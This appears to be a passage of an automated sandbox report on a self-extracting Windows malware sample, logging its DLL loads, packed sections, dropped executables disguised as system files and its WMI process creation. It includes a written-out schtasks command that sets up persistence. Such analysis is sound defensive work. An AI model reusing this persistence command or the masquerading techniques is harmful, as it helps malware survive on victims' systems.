Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Section loaded: sspicli.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: mscoree.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: version.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: uxtheme.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: windows.storage.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: wldp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: profapi.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptsp.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: rsaenh.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: cryptbase.dll
Source: C:\Drivers\fontdrvhost.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Drivers\fontdrvhost.exe	Directory created: C:\Program Files\Internet Explorer\en-US\conhost.exe			Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Directory created: C:\Program Files\Internet Explorer\en-US\088424020bedd6			Jump to behavior

Source: eP6sjvTqJa.exe

Static file information: File size 2317084 > 1048576

Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: eP6sjvTqJa.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: eP6sjvTqJa.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: eP6sjvTqJa.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: eP6sjvTqJa.exe

Source: eP6sjvTqJa.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: eP6sjvTqJa.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: eP6sjvTqJa.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: eP6sjvTqJa.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: eP6sjvTqJa.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Drivers\fontdrvhost.exe

Unpacked PE file: 5.2.fontdrvhost.exe.2520000.7.unpack

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe

File created: C:\Drivers\__tmp_rar_sfx_access_check_4386765

Jump to behavior

Source: eP6sjvTqJa.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9F640 push ecx; ret	0_2_00B9F653
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Code function: 0_2_00B9EB78 push eax; ret	0_2_00B9EB96
Source: C:\Drivers\fontdrvhost.exe	Code function: 5_2_00007FFD345553D6 push cs; ret	5_2_00007FFD345553D9
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD345600BD pushad ; iretd	24_2_00007FFD345600C1
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD345653D6 push cs; ret	24_2_00007FFD345653D9
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34571DD4 push eax; iretd	24_2_00007FFD34571DD5
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34577E87 pushad ; retf	24_2_00007FFD34577EBD
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD3459C470 push A735F181h; iretd	24_2_00007FFD3459C476
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34A89614 push eax; ret	24_2_00007FFD34A89644
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 24_2_00007FFD34A8967D push eax; ret	24_2_00007FFD34A89644
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 25_2_00007FFD345600BD pushad ; iretd	25_2_00007FFD345600C1
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Code function: 25_2_00007FFD345653D6 push cs; ret	25_2_00007FFD345653D9
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD34571DD4 push eax; iretd	30_2_00007FFD34571DD5
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD34577E87 pushad ; retf	30_2_00007FFD34577EBD
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD345600BD pushad ; iretd	30_2_00007FFD345600C1
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD345653D6 push cs; ret	30_2_00007FFD345653D9
Source: C:\Drivers\fontdrvhost.exe	Code function: 30_2_00007FFD3459C470 push A735F181h; iretd	30_2_00007FFD3459C476
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345700BD pushad ; iretd	31_2_00007FFD345700C1
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345753D6 push cs; ret	31_2_00007FFD345753D9
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD34581DD4 push eax; iretd	31_2_00007FFD34581DD5
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD34587E87 pushad ; retf	31_2_00007FFD34587EBD
Source: C:\Drivers\fontdrvhost.exe	Code function: 31_2_00007FFD345AC470 push A735F181h; iretd	31_2_00007FFD345AC476
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD34581DD4 push eax; iretd	40_2_00007FFD34581DD5
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD34587E87 pushad ; retf	40_2_00007FFD34587EBD
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345700BD pushad ; iretd	40_2_00007FFD345700C1
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345753D6 push cs; ret	40_2_00007FFD345753D9
Source: C:\Drivers\fontdrvhost.exe	Code function: 40_2_00007FFD345AC470 push A735F181h; iretd	40_2_00007FFD345AC476

Source: fontdrvhost.exe.0.dr	Static PE information: section name: .text entropy: 7.56712127893692
Source: AdbXCBUViTnoVBSsOq.exe.5.dr	Static PE information: section name: .text entropy: 7.56712127893692
Source: backgroundTaskHost.exe.5.dr	Static PE information: section name: .text entropy: 7.56712127893692
Source: AdbXCBUViTnoVBSsOq.exe0.5.dr	Static PE information: section name: .text entropy: 7.56712127893692
Source: conhost.exe.5.dr	Static PE information: section name: .text entropy: 7.56712127893692
Source: AdbXCBUViTnoVBSsOq.exe1.5.dr	Static PE information: section name: .text entropy: 7.56712127893692

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Drivers\fontdrvhost.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executable to a common third party application directory

Source: C:\Drivers\fontdrvhost.exe

File written: C:\Program Files\Internet Explorer\en-US\conhost.exe

Jump to behavior

Source: C:\Drivers\fontdrvhost.exe	File created: C:\Program Files\Internet Explorer\en-US\conhost.exe	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\PjHeJXVW.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\OwXMDaSq.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\beESemrN.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\Default\AppData\Local\Microsoft\Windows\History\AdbXCBUViTnoVBSsOq.exe	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\lNXiOOwv.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\UXZdmUkL.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\SvkCuJlg.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\rfCzNWvT.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\LtQnCbUd.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\BoUXaXGR.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\crKSmbgv.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\uNJXqjUH.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	File created: C:\Drivers\fontdrvhost.exe	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\rFAHquBj.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\JRcNKQWy.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\rWShinUN.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\backgroundTaskHost.exe	Jump to dropped file

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Users\user\backgroundTaskHost.exe

Jump to dropped file

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe

Jump to dropped file

Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\BoUXaXGR.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\rFAHquBj.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\OwXMDaSq.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\lNXiOOwv.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\beESemrN.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\SvkCuJlg.log	Jump to dropped file
Source: C:\Drivers\fontdrvhost.exe	File created: C:\Users\user\Desktop\JRcNKQWy.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\crKSmbgv.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\rfCzNWvT.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\PjHeJXVW.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\uNJXqjUH.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\UXZdmUkL.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\LtQnCbUd.log	Jump to dropped file
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	File created: C:\Users\user\Desktop\rWShinUN.log	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Drivers\fontdrvhost.exe

File created: C:\Users\user\backgroundTaskHost.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Drivers\fontdrvhost.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "AdbXCBUViTnoVBSsOqA" /sc MINUTE /mo 5 /tr "'C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe'" /f

Source: C:\Users\user\Desktop\eP6sjvTqJa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Drivers\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
